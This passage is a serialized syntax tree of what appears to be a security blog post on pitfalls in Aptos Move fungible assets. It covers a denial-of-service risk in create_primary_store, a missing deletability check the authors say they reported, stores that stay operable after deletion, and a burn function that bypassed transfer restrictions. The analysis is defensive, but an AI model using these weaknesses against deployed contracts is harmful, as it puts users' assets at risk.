[",{"type":23,"tag":213,"props":62774,"children":62775},{"style":274},[62776],{"type":28,"value":9675},{"type":23,"tag":213,"props":62778,"children":62779},{"style":220},[62780],{"type":28,"value":11856},{"type":23,"tag":213,"props":62782,"children":62783},{"class":215,"line":543},[62784,62788,62793,62797,62802,62806,62810,62814,62818,62822,62826,62831],{"type":23,"tag":213,"props":62785,"children":62786},{"style":230},[62787],{"type":28,"value":487},{"type":23,"tag":213,"props":62789,"children":62790},{"style":268},[62791],{"type":28,"value":62792}," wallet_store",{"type":23,"tag":213,"props":62794,"children":62795},{"style":274},[62796],{"type":28,"value":511},{"type":23,"tag":213,"props":62798,"children":62799},{"style":257},[62800],{"type":28,"value":62801}," create_primary_store",{"type":23,"tag":213,"props":62803,"children":62804},{"style":220},[62805],{"type":28,"value":7290},{"type":23,"tag":213,"props":62807,"children":62808},{"style":274},[62809],{"type":28,"value":562},{"type":23,"tag":213,"props":62811,"children":62812},{"style":257},[62813],{"type":28,"value":7299},{"type":23,"tag":213,"props":62815,"children":62816},{"style":220},[62817],{"type":28,"value":265},{"type":23,"tag":213,"props":62819,"children":62820},{"style":268},[62821],{"type":28,"value":61915},{"type":23,"tag":213,"props":62823,"children":62824},{"style":220},[62825],{"type":28,"value":15236},{"type":23,"tag":213,"props":62827,"children":62828},{"style":257},[62829],{"type":28,"value":62830},"get_metadata",{"type":23,"tag":213,"props":62832,"children":62833},{"style":220},[62834],{"type":28,"value":15484},{"type":23,"tag":213,"props":62836,"children":62837},{"class":215,"line":551},[62838,62842,62846],{"type":23,"tag":213,"props":62839,"children":62840},{"style":220},[62841],{"type":28,"value":62772},{"type":23,"tag":213,"props":62843,"children":62844},{"style":274},[62845],{"type":28,"value":9675},{"type":23,"tag":213,"props":62847,"children":62848},{"style":220},[62849],{"type":28,"value":11856},{"type":23,"tag":213,"props":62851,"children":62852},{"class":215,"line":570},[62853],{"type":23,"tag":213,"props":62854,"children":62855},{"style":220},[62856],{"type":28,"value":1208},{"type":23,"tag":24,"props":62858,"children":62859},{},[62860,62861,62867,62869,62875],{"type":28,"value":2623},{"type":23,"tag":209,"props":62862,"children":62864},{"className":62863},[],[62865],{"type":28,"value":62866},"create_primary_store",{"type":28,"value":62868}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":209,"props":62870,"children":62872},{"className":62871},[],[62873],{"type":28,"value":62874},"ensure_primary_store_exists",{"type":28,"value":62876}," is recommended to avoid such issues.",{"type":23,"tag":47,"props":62878,"children":62880},{"id":62879},"fungible-assets-and-objects",[62881],{"type":28,"value":62882},"Fungible assets and objects",{"type":23,"tag":24,"props":62884,"children":62885},{},[62886,62888,62893,62895,62902],{"type":28,"value":62887},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":209,"props":62889,"children":62891},{"className":62890},[],[62892],{"type":28,"value":48903},{"type":28,"value":62894}," module, introduced in ",{"type":23,"tag":36,"props":62896,"children":62899},{"href":62897,"rel":62898},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[40],[62900],{"type":28,"value":62901},"AIP-10",{"type":28,"value":124},{"type":23,"tag":3036,"props":62904,"children":62905},{},[62906],{"type":23,"tag":24,"props":62907,"children":62908},{},[62909,62913],{"type":23,"tag":213,"props":62910,"children":62911},{},[62912],{"type":28,"value":61504},{"type":28,"value":62914}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":62916,"children":62917},{},[62918],{"type":28,"value":62919},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":9693,"props":62921,"children":62923},{"id":62922},"creation-and-deletion",[62924],{"type":28,"value":62925},"Creation and deletion",{"type":23,"tag":24,"props":62927,"children":62928},{},[62929,62931,62937],{"type":28,"value":62930},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":209,"props":62932,"children":62934},{"className":62933},[],[62935],{"type":28,"value":62936},"fungible_asset::add_fungibility",{"type":28,"value":277},{"type":23,"tag":202,"props":62939,"children":62941},{"className":206,"code":62940,"language":205,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62942],{"type":23,"tag":209,"props":62943,"children":62944},{"__ignoreMap":7},[62945],{"type":23,"tag":213,"props":62946,"children":62947},{"class":215,"line":216},[62948,62952,62956,62960,62965,62969,62974,62978,62983,62988,62992,62996],{"type":23,"tag":213,"props":62949,"children":62950},{"style":257},[62951],{"type":28,"value":42040},{"type":23,"tag":213,"props":62953,"children":62954},{"style":220},[62955],{"type":28,"value":265},{"type":23,"tag":213,"props":62957,"children":62958},{"style":274},[62959],{"type":28,"value":20675},{"type":23,"tag":213,"props":62961,"children":62962},{"style":220},[62963],{"type":28,"value":62964},"object",{"type":23,"tag":213,"props":62966,"children":62967},{"style":274},[62968],{"type":28,"value":562},{"type":23,"tag":213,"props":62970,"children":62971},{"style":257},[62972],{"type":28,"value":62973},"can_generate_delete_ref",{"type":23,"tag":213,"props":62975,"children":62976},{"style":220},[62977],{"type":28,"value":265},{"type":23,"tag":213,"props":62979,"children":62980},{"style":268},[62981],{"type":28,"value":62982},"constructor_ref",{"type":23,"tag":213,"props":62984,"children":62985},{"style":220},[62986],{"type":28,"value":62987},"), error",{"type":23,"tag":213,"props":62989,"children":62990},{"style":274},[62991],{"type":28,"value":562},{"type":23,"tag":213,"props":62993,"children":62994},{"style":257},[62995],{"type":28,"value":62428},{"type":23,"tag":213,"props":62997,"children":62998},{"style":220},[62999],{"type":28,"value":63000},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":63002,"children":63003},{},[63004,63006,63011,63013,63018,63019,63026],{"type":28,"value":63005},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":209,"props":63007,"children":63009},{"className":63008},[],[63010],{"type":28,"value":61565},{"type":28,"value":63012},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":209,"props":63014,"children":63016},{"className":63015},[],[63017],{"type":28,"value":62936},{"type":28,"value":6550},{"type":23,"tag":36,"props":63020,"children":63023},{"href":63021,"rel":63022},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[40],[63024],{"type":28,"value":63025},"lacked this assert",{"type":28,"value":63027},", which we discovered and reported.",{"type":23,"tag":24,"props":63029,"children":63030},{},[63031,63036,63038,63043,63045,63050],{"type":23,"tag":209,"props":63032,"children":63034},{"className":63033},[],[63035],{"type":28,"value":62936},{"type":28,"value":63037}," transfers the ",{"type":23,"tag":209,"props":63039,"children":63041},{"className":63040},[],[63042],{"type":28,"value":61624},{"type":28,"value":63044}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":209,"props":63046,"children":63048},{"className":63047},[],[63049],{"type":28,"value":61565},{"type":28,"value":63051}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":202,"props":63053,"children":63055},{"className":206,"code":63054,"language":205,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[63056],{"type":23,"tag":209,"props":63057,"children":63058},{"__ignoreMap":7},[63059,63067,63087,63102,63129,63144,63165,63177,63189,63201,63213,63225,63237,63244,63251,63266],{"type":23,"tag":213,"props":63060,"children":63061},{"class":215,"line":216},[63062],{"type":23,"tag":213,"props":63063,"children":63064},{"style":537},[63065],{"type":28,"value":63066},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":213,"props":63068,"children":63069},{"class":215,"line":226},[63070,63074,63078,63083],{"type":23,"tag":213,"props":63071,"children":63072},{"style":268},[63073],{"type":28,"value":61729},{"type":23,"tag":213,"props":63075,"children":63076},{"style":268},[63077],{"type":28,"value":6299},{"type":23,"tag":213,"props":63079,"children":63080},{"style":257},[63081],{"type":28,"value":63082}," add_fungibility",{"type":23,"tag":213,"props":63084,"children":63085},{"style":220},[63086],{"type":28,"value":1511},{"type":23,"tag":213,"props":63088,"children":63089},{"class":215,"line":524},[63090,63094,63098],{"type":23,"tag":213,"props":63091,"children":63092},{"style":220},[63093],{"type":28,"value":62772},{"type":23,"tag":213,"props":63095,"children":63096},{"style":274},[63097],{"type":28,"value":9675},{"type":23,"tag":213,"props":63099,"children":63100},{"style":220},[63101],{"type":28,"value":11856},{"type":23,"tag":213,"props":63103,"children":63104},{"class":215,"line":533},[63105,63109,63113,63117,63121,63125],{"type":23,"tag":213,"props":63106,"children":63107},{"style":220},[63108],{"type":28,"value":2121},{"type":23,"tag":213,"props":63110,"children":63111},{"style":274},[63112],{"type":28,"value":277},{"type":23,"tag":213,"props":63114,"children":63115},{"style":290},[63116],{"type":28,"value":61615},{"type":23,"tag":213,"props":63118,"children":63119},{"style":220},[63120],{"type":28,"value":434},{"type":23,"tag":213,"props":63122,"children":63123},{"style":290},[63124],{"type":28,"value":61624},{"type":23,"tag":213,"props":63126,"children":63127},{"style":220},[63128],{"type":28,"value":905},{"type":23,"tag":213,"props":63130,"children":63131},{"class":215,"line":543},[63132,63136,63140],{"type":23,"tag":213,"props":63133,"children":63134},{"style":220},[63135],{"type":28,"value":62772},{"type":23,"tag":213,"props":63137,"children":63138},{"style":274},[63139],{"type":28,"value":9675},{"type":23,"tag":213,"props":63141,"children":63142},{"style":220},[63143],{"type":28,"value":11856},{"type":23,"tag":213,"props":63145,"children":63146},{"class":215,"line":551},[63147,63152,63156,63161],{"type":23,"tag":213,"props":63148,"children":63149},{"style":257},[63150],{"type":28,"value":63151}," move_to",{"type":23,"tag":213,"props":63153,"children":63154},{"style":220},[63155],{"type":28,"value":265},{"type":23,"tag":213,"props":63157,"children":63158},{"style":268},[63159],{"type":28,"value":63160},"metadata_object_signer",{"type":23,"tag":213,"props":63162,"children":63163},{"style":220},[63164],{"type":28,"value":944},{"type":23,"tag":213,"props":63166,"children":63167},{"class":215,"line":570},[63168,63173],{"type":23,"tag":213,"props":63169,"children":63170},{"style":290},[63171],{"type":28,"value":63172}," Metadata",{"type":23,"tag":213,"props":63174,"children":63175},{"style":220},[63176],{"type":28,"value":1375},{"type":23,"tag":213,"props":63178,"children":63179},{"class":215,"line":655},[63180,63185],{"type":23,"tag":213,"props":63181,"children":63182},{"style":268},[63183],{"type":28,"value":63184}," name",{"type":23,"tag":213,"props":63186,"children":63187},{"style":220},[63188],{"type":28,"value":944},{"type":23,"tag":213,"props":63190,"children":63191},{"class":215,"line":1176},[63192,63197],{"type":23,"tag":213,"props":63193,"children":63194},{"style":268},[63195],{"type":28,"value":63196}," symbol",{"type":23,"tag":213,"props":63198,"children":63199},{"style":220},[63200],{"type":28,"value":944},{"type":23,"tag":213,"props":63202,"children":63203},{"class":215,"line":1202},[63204,63209],{"type":23,"tag":213,"props":63205,"children":63206},{"style":268},[63207],{"type":28,"value":63208}," decimals",{"type":23,"tag":213,"props":63210,"children":63211},{"style":220},[63212],{"type":28,"value":944},{"type":23,"tag":213,"props":63214,"children":63215},{"class":215,"line":1758},[63216,63221],{"type":23,"tag":213,"props":63217,"children":63218},{"style":268},[63219],{"type":28,"value":63220}," icon_uri",{"type":23,"tag":213,"props":63222,"children":63223},{"style":220},[63224],{"type":28,"value":944},{"type":23,"tag":213,"props":63226,"children":63227},{"class":215,"line":1767},[63228,63233],{"type":23,"tag":213,"props":63229,"children":63230},{"style":268},[63231],{"type":28,"value":63232}," project_uri",{"type":23,"tag":213,"props":63234,"children":63235},{"style":220},[63236],{"type":28,"value":944},{"type":23,"tag":213,"props":63238,"children":63239},{"class":215,"line":1789},[63240],{"type":23,"tag":213,"props":63241,"children":63242},{"style":220},[63243],{"type":28,"value":3444},{"type":23,"tag":213,"props":63245,"children":63246},{"class":215,"line":1812},[63247],{"type":23,"tag":213,"props":63248,"children":63249},{"style":220},[63250],{"type":28,"value":43705},{"type":23,"tag":213,"props":63252,"children":63253},{"class":215,"line":1838},[63254,63258,63262],{"type":23,"tag":213,"props":63255,"children":63256},{"style":220},[63257],{"type":28,"value":3821},{"type":23,"tag":213,"props":63259,"children":63260},{"style":274},[63261],{"type":28,"value":9675},{"type":23,"tag":213,"props":63263,"children":63264},{"style":220},[63265],{"type":28,"value":11856},{"type":23,"tag":213,"props":63267,"children":63268},{"class":215,"line":1851},[63269],{"type":23,"tag":213,"props":63270,"children":63271},{"style":220},[63272],{"type":28,"value":1208},{"type":23,"tag":18845,"props":63274,"children":63275},{},[],{"type":23,"tag":24,"props":63277,"children":63278},{},[63279,63281,63286,63288,63293],{"type":28,"value":63280},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":209,"props":63282,"children":63284},{"className":63283},[],[63285],{"type":28,"value":62130},{"type":28,"value":63287}," is also an object, and a \"secondary\" ",{"type":23,"tag":209,"props":63289,"children":63291},{"className":63290},[],[63292],{"type":28,"value":62130},{"type":28,"value":63294}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":202,"props":63296,"children":63298},{"className":206,"code":63297,"language":205,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[63299],{"type":23,"tag":209,"props":63300,"children":63301},{"__ignoreMap":7},[63302,63310,63352,63359,63367],{"type":23,"tag":213,"props":63303,"children":63304},{"class":215,"line":216},[63305],{"type":23,"tag":213,"props":63306,"children":63307},{"style":537},[63308],{"type":28,"value":63309},"//Fungible asset\n",{"type":23,"tag":213,"props":63311,"children":63312},{"class":215,"line":226},[63313,63317,63321,63326,63330,63335,63339,63343,63348],{"type":23,"tag":213,"props":63314,"children":63315},{"style":268},[63316],{"type":28,"value":61729},{"type":23,"tag":213,"props":63318,"children":63319},{"style":268},[63320],{"type":28,"value":6299},{"type":23,"tag":213,"props":63322,"children":63323},{"style":257},[63324],{"type":28,"value":63325}," remove_store",{"type":23,"tag":213,"props":63327,"children":63328},{"style":220},[63329],{"type":28,"value":265},{"type":23,"tag":213,"props":63331,"children":63332},{"style":268},[63333],{"type":28,"value":63334},"delete_ref",{"type":23,"tag":213,"props":63336,"children":63337},{"style":274},[63338],{"type":28,"value":277},{"type":23,"tag":213,"props":63340,"children":63341},{"style":274},[63342],{"type":28,"value":927},{"type":23,"tag":213,"props":63344,"children":63345},{"style":290},[63346],{"type":28,"value":63347},"DeleteRef",{"type":23,"tag":213,"props":63349,"children":63350},{"style":220},[63351],{"type":28,"value":2183},{"type":23,"tag":213,"props":63353,"children":63354},{"class":215,"line":524},[63355],{"type":23,"tag":213,"props":63356,"children":63357},{"emptyLinePlaceholder":18},[63358],{"type":28,"value":530},{"type":23,"tag":213,"props":63360,"children":63361},{"class":215,"line":533},[63362],{"type":23,"tag":213,"props":63363,"children":63364},{"style":537},[63365],{"type":28,"value":63366},"//Object\n",{"type":23,"tag":213,"props":63368,"children":63369},{"class":215,"line":543},[63370,63374,63378,63383,63387,63392,63396,63401],{"type":23,"tag":213,"props":63371,"children":63372},{"style":268},[63373],{"type":28,"value":61729},{"type":23,"tag":213,"props":63375,"children":63376},{"style":268},[63377],{"type":28,"value":6299},{"type":23,"tag":213,"props":63379,"children":63380},{"style":257},[63381],{"type":28,"value":63382}," delete",{"type":23,"tag":213,"props":63384,"children":63385},{"style":220},[63386],{"type":28,"value":265},{"type":23,"tag":213,"props":63388,"children":63389},{"style":230},[63390],{"type":28,"value":63391},"ref",{"type":23,"tag":213,"props":63393,"children":63394},{"style":274},[63395],{"type":28,"value":277},{"type":23,"tag":213,"props":63397,"children":63398},{"style":290},[63399],{"type":28,"value":63400}," DeleteRef",{"type":23,"tag":213,"props":63402,"children":63403},{"style":220},[63404],{"type":28,"value":2183},{"type":23,"tag":24,"props":63406,"children":63407},{},[63408,63410,63416,63418,63423,63425,63430,63432,63437,63439,63445,63447,63453,63455,63460],{"type":28,"value":63409},"When ",{"type":23,"tag":209,"props":63411,"children":63413},{"className":63412},[],[63414],{"type":28,"value":63415},"object::delete",{"type":28,"value":63417}," removes the ",{"type":23,"tag":209,"props":63419,"children":63421},{"className":63420},[],[63422],{"type":28,"value":48903},{"type":28,"value":63424}," from a ",{"type":23,"tag":209,"props":63426,"children":63428},{"className":63427},[],[63429],{"type":28,"value":62130},{"type":28,"value":63431}," object, the ",{"type":23,"tag":209,"props":63433,"children":63435},{"className":63434},[],[63436],{"type":28,"value":62130},{"type":28,"value":63438}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":209,"props":63440,"children":63442},{"className":63441},[],[63443],{"type":28,"value":63444},"remove_store",{"type":28,"value":63446}," can't create an ",{"type":23,"tag":209,"props":63448,"children":63450},{"className":63449},[],[63451],{"type":28,"value":63452},"Object\u003CFungibleStore>",{"type":28,"value":63454}," without an ",{"type":23,"tag":209,"props":63456,"children":63458},{"className":63457},[],[63459],{"type":28,"value":48903},{"type":28,"value":63461}," underneath, causing the operation to fail.",{"type":23,"tag":202,"props":63463,"children":63465},{"className":206,"code":63464,"language":205,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[63466],{"type":23,"tag":209,"props":63467,"children":63468},{"__ignoreMap":7},[63469,63524,63576,63591],{"type":23,"tag":213,"props":63470,"children":63471},{"class":215,"line":216},[63472,63476,63480,63484,63488,63492,63496,63500,63504,63508,63512,63516,63520],{"type":23,"tag":213,"props":63473,"children":63474},{"style":268},[63475],{"type":28,"value":61729},{"type":23,"tag":213,"props":63477,"children":63478},{"style":268},[63479],{"type":28,"value":6299},{"type":23,"tag":213,"props":63481,"children":63482},{"style":257},[63483],{"type":28,"value":63325},{"type":23,"tag":213,"props":63485,"children":63486},{"style":220},[63487],{"type":28,"value":265},{"type":23,"tag":213,"props":63489,"children":63490},{"style":268},[63491],{"type":28,"value":63334},{"type":23,"tag":213,"props":63493,"children":63494},{"style":274},[63495],{"type":28,"value":277},{"type":23,"tag":213,"props":63497,"children":63498},{"style":274},[63499],{"type":28,"value":927},{"type":23,"tag":213,"props":63501,"children":63502},{"style":290},[63503],{"type":28,"value":63347},{"type":23,"tag":213,"props":63505,"children":63506},{"style":220},[63507],{"type":28,"value":298},{"type":23,"tag":213,"props":63509,"children":63510},{"style":268},[63511],{"type":28,"value":6436},{"type":23,"tag":213,"props":63513,"children":63514},{"style":220},[63515],{"type":28,"value":469},{"type":23,"tag":213,"props":63517,"children":63518},{"style":274},[63519],{"type":28,"value":9675},{"type":23,"tag":213,"props":63521,"children":63522},{"style":220},[63523],{"type":28,"value":61820},{"type":23,"tag":213,"props":63525,"children":63526},{"class":215,"line":226},[63527,63531,63535,63539,63543,63547,63551,63556,63560,63564,63568,63572],{"type":23,"tag":213,"props":63528,"children":63529},{"style":230},[63530],{"type":28,"value":487},{"type":23,"tag":213,"props":63532,"children":63533},{"style":268},[63534],{"type":28,"value":5924},{"type":23,"tag":213,"props":63536,"children":63537},{"style":274},[63538],{"type":28,"value":511},{"type":23,"tag":213,"props":63540,"children":63541},{"style":274},[63542],{"type":28,"value":927},{"type":23,"tag":213,"props":63544,"children":63545},{"style":220},[63546],{"type":28,"value":62964},{"type":23,"tag":213,"props":63548,"children":63549},{"style":274},[63550],{"type":28,"value":562},{"type":23,"tag":213,"props":63552,"children":63553},{"style":268},[63554],{"type":28,"value":63555},"object_from_delete_ref",{"type":23,"tag":213,"props":63557,"children":63558},{"style":220},[63559],{"type":28,"value":434},{"type":23,"tag":213,"props":63561,"children":63562},{"style":290},[63563],{"type":28,"value":62130},{"type":23,"tag":213,"props":63565,"children":63566},{"style":220},[63567],{"type":28,"value":367},{"type":23,"tag":213,"props":63569,"children":63570},{"style":268},[63571],{"type":28,"value":63334},{"type":23,"tag":213,"props":63573,"children":63574},{"style":220},[63575],{"type":28,"value":2867},{"type":23,"tag":213,"props":63577,"children":63578},{"class":215,"line":524},[63579,63583,63587],{"type":23,"tag":213,"props":63580,"children":63581},{"style":220},[63582],{"type":28,"value":62772},{"type":23,"tag":213,"props":63584,"children":63585},{"style":274},[63586],{"type":28,"value":9675},{"type":23,"tag":213,"props":63588,"children":63589},{"style":220},[63590],{"type":28,"value":11856},{"type":23,"tag":213,"props":63592,"children":63593},{"class":215,"line":533},[63594],{"type":23,"tag":213,"props":63595,"children":63596},{"style":220},[63597],{"type":28,"value":1208},{"type":23,"tag":24,"props":63599,"children":63600},{},[63601,63603,63608,63610,63616,63618,63623],{"type":28,"value":63602},"In addition, such \"deleted\" ",{"type":23,"tag":209,"props":63604,"children":63606},{"className":63605},[],[63607],{"type":28,"value":62130},{"type":28,"value":63609}," objects remain at least partially operable. For instance, ",{"type":23,"tag":209,"props":63611,"children":63613},{"className":63612},[],[63614],{"type":28,"value":63615},"fungible_asset::deposit",{"type":28,"value":63617}," does not check the ",{"type":23,"tag":209,"props":63619,"children":63621},{"className":63620},[],[63622],{"type":28,"value":48903},{"type":28,"value":63624}," existence.",{"type":23,"tag":9693,"props":63626,"children":63628},{"id":63627},"ownership",[63629],{"type":28,"value":63630},"Ownership",{"type":23,"tag":24,"props":63632,"children":63633},{},[63634,63636,63641,63643,63649,63651,63656],{"type":28,"value":63635},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":209,"props":63637,"children":63639},{"className":63638},[],[63640],{"type":28,"value":48903},{"type":28,"value":63642}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":209,"props":63644,"children":63646},{"className":63645},[],[63647],{"type":28,"value":63648},"object::owns",{"type":28,"value":63650}," to confirm ownership of the ",{"type":23,"tag":209,"props":63652,"children":63654},{"className":63653},[],[63655],{"type":28,"value":62130},{"type":28,"value":50229},{"type":23,"tag":202,"props":63658,"children":63660},{"className":206,"code":63659,"language":205,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[63661],{"type":23,"tag":209,"props":63662,"children":63663},{"__ignoreMap":7},[63664,63712,63735,63762,63782,63810,63878,63893],{"type":23,"tag":213,"props":63665,"children":63666},{"class":215,"line":216},[63667,63671,63675,63679,63683,63687,63692,63696,63700,63704,63708],{"type":23,"tag":213,"props":63668,"children":63669},{"style":257},[63670],{"type":28,"value":61729},{"type":23,"tag":213,"props":63672,"children":63673},{"style":220},[63674],{"type":28,"value":265},{"type":23,"tag":213,"props":63676,"children":63677},{"style":268},[63678],{"type":28,"value":7189},{"type":23,"tag":213,"props":63680,"children":63681},{"style":220},[63682],{"type":28,"value":298},{"type":23,"tag":213,"props":63684,"children":63685},{"style":268},[63686],{"type":28,"value":7198},{"type":23,"tag":213,"props":63688,"children":63689},{"style":268},[63690],{"type":28,"value":63691}," withdraw_sanity_check",{"type":23,"tag":213,"props":63693,"children":63694},{"style":220},[63695],{"type":28,"value":434},{"type":23,"tag":213,"props":63697,"children":63698},{"style":290},[63699],{"type":28,"value":6079},{"type":23,"tag":213,"props":63701,"children":63702},{"style":274},[63703],{"type":28,"value":277},{"type":23,"tag":213,"props":63705,"children":63706},{"style":268},[63707],{"type":28,"value":918},{"type":23,"tag":213,"props":63709,"children":63710},{"style":220},[63711],{"type":28,"value":6681},{"type":23,"tag":213,"props":63713,"children":63714},{"class":215,"line":226},[63715,63719,63723,63727,63731],{"type":23,"tag":213,"props":63716,"children":63717},{"style":268},[63718],{"type":28,"value":1608},{"type":23,"tag":213,"props":63720,"children":63721},{"style":274},[63722],{"type":28,"value":277},{"type":23,"tag":213,"props":63724,"children":63725},{"style":274},[63726],{"type":28,"value":927},{"type":23,"tag":213,"props":63728,"children":63729},{"style":268},[63730],{"type":28,"value":7236},{"type":23,"tag":213,"props":63732,"children":63733},{"style":220},[63734],{"type":28,"value":944},{"type":23,"tag":213,"props":63736,"children":63737},{"class":215,"line":524},[63738,63742,63746,63750,63754,63758],{"type":23,"tag":213,"props":63739,"children":63740},{"style":268},[63741],{"type":28,"value":29470},{"type":23,"tag":213,"props":63743,"children":63744},{"style":274},[63745],{"type":28,"value":277},{"type":23,"tag":213,"props":63747,"children":63748},{"style":290},[63749],{"type":28,"value":61615},{"type":23,"tag":213,"props":63751,"children":63752},{"style":220},[63753],{"type":28,"value":434},{"type":23,"tag":213,"props":63755,"children":63756},{"style":290},[63757],{"type":28,"value":6079},{"type":23,"tag":213,"props":63759,"children":63760},{"style":220},[63761],{"type":28,"value":6230},{"type":23,"tag":213,"props":63763,"children":63764},{"class":215,"line":533},[63765,63770,63774,63778],{"type":23,"tag":213,"props":63766,"children":63767},{"style":268},[63768],{"type":28,"value":63769}," abort_on_dispatch",{"type":23,"tag":213,"props":63771,"children":63772},{"style":274},[63773],{"type":28,"value":277},{"type":23,"tag":213,"props":63775,"children":63776},{"style":290},[63777],{"type":28,"value":965},{"type":23,"tag":213,"props":63779,"children":63780},{"style":220},[63781],{"type":28,"value":944},{"type":23,"tag":213,"props":63783,"children":63784},{"class":215,"line":543},[63785,63789,63793,63797,63801,63806],{"type":23,"tag":213,"props":63786,"children":63787},{"style":220},[63788],{"type":28,"value":298},{"type":23,"tag":213,"props":63790,"children":63791},{"style":268},[63792],{"type":28,"value":6436},{"type":23,"tag":213,"props":63794,"children":63795},{"style":290},[63796],{"type":28,"value":62150},{"type":23,"tag":213,"props":63798,"children":63799},{"style":220},[63800],{"type":28,"value":424},{"type":23,"tag":213,"props":63802,"children":63803},{"style":290},[63804],{"type":28,"value":63805},"DispatchFunctionStore",{"type":23,"tag":213,"props":63807,"children":63808},{"style":220},[63809],{"type":28,"value":1375},{"type":23,"tag":213,"props":63811,"children":63812},{"class":215,"line":551},[63813,63817,63822,63826,63831,63835,63839,63843,63847,63851,63855,63859,63864,63868,63873],{"type":23,"tag":213,"props":63814,"children":63815},{"style":257},[63816],{"type":28,"value":62398},{"type":23,"tag":213,"props":63818,"children":63819},{"style":220},[63820],{"type":28,"value":63821},"(object",{"type":23,"tag":213,"props":63823,"children":63824},{"style":274},[63825],{"type":28,"value":562},{"type":23,"tag":213,"props":63827,"children":63828},{"style":257},[63829],{"type":28,"value":63830},"owns",{"type":23,"tag":213,"props":63832,"children":63833},{"style":220},[63834],{"type":28,"value":265},{"type":23,"tag":213,"props":63836,"children":63837},{"style":268},[63838],{"type":28,"value":6032},{"type":23,"tag":213,"props":63840,"children":63841},{"style":220},[63842],{"type":28,"value":13017},{"type":23,"tag":213,"props":63844,"children":63845},{"style":274},[63846],{"type":28,"value":562},{"type":23,"tag":213,"props":63848,"children":63849},{"style":257},[63850],{"type":28,"value":7299},{"type":23,"tag":213,"props":63852,"children":63853},{"style":220},[63854],{"type":28,"value":265},{"type":23,"tag":213,"props":63856,"children":63857},{"style":268},[63858],{"type":28,"value":1883},{"type":23,"tag":213,"props":63860,"children":63861},{"style":220},[63862],{"type":28,"value":63863},")), error",{"type":23,"tag":213,"props":63865,"children":63866},{"style":274},[63867],{"type":28,"value":562},{"type":23,"tag":213,"props":63869,"children":63870},{"style":257},[63871],{"type":28,"value":63872},"permission_denied",{"type":23,"tag":213,"props":63874,"children":63875},{"style":220},[63876],{"type":28,"value":63877},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":213,"props":63879,"children":63880},{"class":215,"line":570},[63881,63885,63889],{"type":23,"tag":213,"props":63882,"children":63883},{"style":220},[63884],{"type":28,"value":62772},{"type":23,"tag":213,"props":63886,"children":63887},{"style":274},[63888],{"type":28,"value":9675},{"type":23,"tag":213,"props":63890,"children":63891},{"style":220},[63892],{"type":28,"value":11856},{"type":23,"tag":213,"props":63894,"children":63895},{"class":215,"line":655},[63896],{"type":23,"tag":213,"props":63897,"children":63898},{"style":220},[63899],{"type":28,"value":1208},{"type":23,"tag":24,"props":63901,"children":63902},{},[63903,63905,63910,63912,63918,63920,63926],{"type":28,"value":63904},"The thing to note is that defining ownership with ",{"type":23,"tag":209,"props":63906,"children":63908},{"className":63907},[],[63909],{"type":28,"value":63648},{"type":28,"value":63911}," can be tricky. The ",{"type":23,"tag":209,"props":63913,"children":63915},{"className":63914},[],[63916],{"type":28,"value":63917},"burn",{"type":28,"value":63919}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":209,"props":63921,"children":63923},{"className":63922},[],[63924],{"type":28,"value":63925},"BURN_ADDRESS",{"type":28,"value":63927}," while bypassing transfer restrictions:",{"type":23,"tag":202,"props":63929,"children":63931},{"className":206,"code":63930,"language":205,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, 